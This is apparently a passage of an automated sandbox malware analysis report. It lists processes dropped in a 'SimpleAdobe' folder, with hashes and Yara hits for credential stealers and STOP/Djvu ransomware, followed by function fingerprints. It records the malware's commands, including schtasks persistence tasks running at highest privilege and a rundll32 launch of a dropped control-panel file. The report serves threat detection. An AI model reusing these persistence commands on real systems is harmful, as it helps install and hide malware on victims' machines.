Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.2470496556.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe
Imagebase:	0x400000
File size:	225'280 bytes
MD5 hash:	CD0FD465EA4FD58CF58413DDA8114989
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 0000000B.00000002.2412464350.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_GCleaner, Description: Yara detected GCleaner, Source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.2414453523.0000000002088000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe
Imagebase:	0x910000
File size:	4'795'544 bytes
MD5 hash:	6151F5177B7B35E3D7CEE99A2FC9AF24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000C.00000003.2107965730.0000000005F5D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
Imagebase:	0x1cebbfb0000
File size:	80'896 bytes
MD5 hash:	0951BF8665040A50D5FB548BE6AC7C1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000D.00000002.2354627600.000001CEBC380000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe
Imagebase:	0xa10000
File size:	5'382'672 bytes
MD5 hash:	029B4A16951A6FB1F6A1FDA9B39769B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe
Imagebase:	0x6f0000
File size:	363'520 bytes
MD5 hash:	D79B788762C6435AE9F599743F9F482D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
Imagebase:	0x400000
File size:	3'140'096 bytes
MD5 hash:	43B0FD4A4213AA702E6BB8E8B67A9E2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe
Imagebase:	0xca0000
File size:	5'154'288 bytes
MD5 hash:	D9A7D15AE1511095BC12D4FAA9BE6F70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2222007129.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe
Imagebase:	0x190000
File size:	470'528 bytes
MD5 hash:	E154829A16292C782B579D217E0EA8BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.1896456642.00000000001B7000.00000004.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
Imagebase:	0xc70000
File size:	4'815'512 bytes
MD5 hash:	C0FEE8DB6325C8C1B3F8CCD13574C65A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000013.00000003.2020504201.0000000006244000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe
Imagebase:	0x140000000
File size:	11'403'264 bytes
MD5 hash:	D43AC79ABE604CAFFEFE6313617079A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe
Imagebase:	0x400000
File size:	7'613'155 bytes
MD5 hash:	D1FBE0562396E6981A68818E4DA997F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.1925795583.00000000007EB000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:42:19
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x200000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:42:19
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:42:19
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.2491480085.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.2521398571.0000000002FCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:42:21
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:42:22
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:42:22
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\katDE8F.tmp
Imagebase:	0x400000
File size:	881'664 bytes
MD5 hash:	66064DBDB70A5EB15EBF3BF65ABA254B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2913300162.0000000000572000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:42:22
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324
Imagebase:	0x790000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:42:23
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Imagebase:	0x260000
File size:	149'504 bytes
MD5 hash:	EBC29AA32C57A54018089CFC9CACAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:42:23
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp" /SL5="$2043A,5279044,54272,C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe"
Imagebase:	0x400000
File size:	696'832 bytes
MD5 hash:	BE70A78A316030C24575F48F60A59045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	07:42:23
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 728
Imagebase:	0x790000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:42:23
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'671'717 bytes
MD5 hash:	EF289C0209DCA509E4AA6818F0CE63CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:42:24
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Imagebase:	0xb70000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:42:25
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:42:25
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:42:26
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /TXxadidc "525403" /S
Imagebase:	0xe40000
File size:	7'033'344 bytes
MD5 hash:	C28D2EDD15308BA2FF580F1355108192
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	07:42:27
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x9c0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:42:27
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	412
Start time:	07:43:51
Start date:	24/05/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 0063CFCC Relevance: 6.7, Strings: 2, Instructions: 4249COMMON

Download Yara Rule

Strings

UTF-, xrefs: 0063E153
5, m, xrefs: 0063E10E

Memory Dump Source

Source File: 00000000.00000003.1668437615.0000000000636000.00000004.00000020.00020000.00000000.sdmp, Offset: 00636000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_636000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 5, m$UTF-
API String ID: 0-393906172
Opcode ID: ee7fbe7c2c69b9dc6f069d63627c0a35c57f8fd1dc0e82bc0a25ef887de3a692
Instruction ID: 4e28bf7dcfbf61c9aa085bb6b223f09a1297f2a9f027ea8b507272a0a3843e6a
Opcode Fuzzy Hash: ee7fbe7c2c69b9dc6f069d63627c0a35c57f8fd1dc0e82bc0a25ef887de3a692
Instruction Fuzzy Hash: C7A1876244E3C41FD7278B705DA95A2BFB5AD63210B0E86CFC4C18F8F3D2599949C7A2

Function 043F1410 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043CF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction ID: 935bd108d588dc88b1495f97b928ae7d87c65f5b912c9b96a5b77d47f13932fe
Opcode Fuzzy Hash: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction Fuzzy Hash: 00022772A14211CBDB18CE18D880279BBE2FBC4344F155A3EF99697A84D774BC48CB85

Function 043F1410 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction ID: 935bd108d588dc88b1495f97b928ae7d87c65f5b912c9b96a5b77d47f13932fe
Opcode Fuzzy Hash: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction Fuzzy Hash: 00022772A14211CBDB18CE18D880279BBE2FBC4344F155A3EF99697A84D774BC48CB85

Function 043F1410 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043D2000, based on PE: false

Associated: 00000000.00000003.1765061034.00000000043D2000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction ID: 935bd108d588dc88b1495f97b928ae7d87c65f5b912c9b96a5b77d47f13932fe
Opcode Fuzzy Hash: 27156ca4970ad7a14cafdd4d0f561c0251ce2efe8b7cb58f4bb8e0a1a151ff8a
Instruction Fuzzy Hash: 00022772A14211CBDB18CE18D880279BBE2FBC4344F155A3EF99697A84D774BC48CB85

Function 043F7C50 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043CF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction ID: 5f78148bef9de163dc7abd2d296f53a5d5459bb3d268c47353c8ef8ee60f5429
Opcode Fuzzy Hash: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction Fuzzy Hash: 8521C5329006254BC712CE6EE8C45A7F3E2FBC436AF534737EE8467190C628B854D6E0

Function 043F7C50 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction ID: 5f78148bef9de163dc7abd2d296f53a5d5459bb3d268c47353c8ef8ee60f5429
Opcode Fuzzy Hash: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction Fuzzy Hash: 8521C5329006254BC712CE6EE8C45A7F3E2FBC436AF534737EE8467190C628B854D6E0

Function 043F7C50 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1758126819.00000000043CD000.00000004.00000020.00020000.00000000.sdmp, Offset: 043D2000, based on PE: false

Associated: 00000000.00000003.1765061034.00000000043D2000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_43cd000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction ID: 5f78148bef9de163dc7abd2d296f53a5d5459bb3d268c47353c8ef8ee60f5429
Opcode Fuzzy Hash: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction Fuzzy Hash: 8521C5329006254BC712CE6EE8C45A7F3E2FBC436AF534737EE8467190C628B854D6E0

Analysis Process: NRN3O_fFwiqNbjNW0Hj0MSKB.exePID: 3912, Parent PID: 6664COMMON

Execution Graph

Execution Coverage:	23.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 0088FF00 Relevance: 94.9, APIs: 50, Strings: 2, Instructions: 3939registrytimefileCOMMON

Download Yara Rule

APIs

